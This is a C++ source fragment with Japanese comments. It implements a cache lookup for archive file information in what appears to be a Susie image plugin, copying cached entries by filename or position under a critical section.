//キャッシュにあればコピー //ph:アーカイブ情報を受け取るハンドルへのポインタ //pinfo:アーカイブのファイル情報を受け取るポインタ // あらかじめ pinfo に filename か position をセットしておく。 // キャッシュがあれば filename(position) の一致する情報を返す。 //キャッシュになければ、SPI_NO_FUNCTION が返る。 //キャッシュにあれば SPI_ALL_RIGHT が返る。 //アーカイブ情報はキャッシュにあるが、filename(position) が一致しない場合は //SPI_NOT_SUPPORT が返る。エラーの場合はエラーコードが返る。 int InfoCache::Dupli(char *filepath, HLOCAL *ph, fileInfo *pinfo) { cs.Enter(); HLOCAL hinfo; int ret = GetCache(filepath, &hinfo); if (ret) { ret = SPI_ALL_RIGHT; if (ph != NULL) { UINT size = LocalSize(hinfo); /* 出力用のメモリの割り当て */ *ph = LocalAlloc(LMEM_FIXED, size); if (*ph == NULL) { ret = SPI_NO_MEMORY; } else { memcpy(*ph, (void*)hinfo, size); } } else { fileInfo *ptmp = (fileInfo *)hinfo; if (pinfo->filename[0] != '\0') { for (;;) { if (ptmp->method[0] == '\0') { ret = SPI_NOT_SUPPORT; break; } // complete path relative to archive root char path[sizeof(ptmp->path)+sizeof(ptmp->filename)]; strcpy(path, ptmp->path); size_t len = strlen(path); if(len && path[len-1] != '/' && path[len-1] != '\\') // need delimiter strcat(path, "\\"); strcat(path, ptmp->filename); if (lstrcmpi(path, pinfo->filename) == 0) break; ptmp++; } } else { for (;;) { if (ptmp->method[0] == '\0') { ret = SPI_NOT_SUPPORT; break; } if (ptmp->position == pinfo->position) break; ptmp++; } } if (ret == SPI_ALL_RIGHT) *pinfo = *ptmp; } } else { ret = SPI_NO_FUNCTION; } cs.Leave(); return ret; }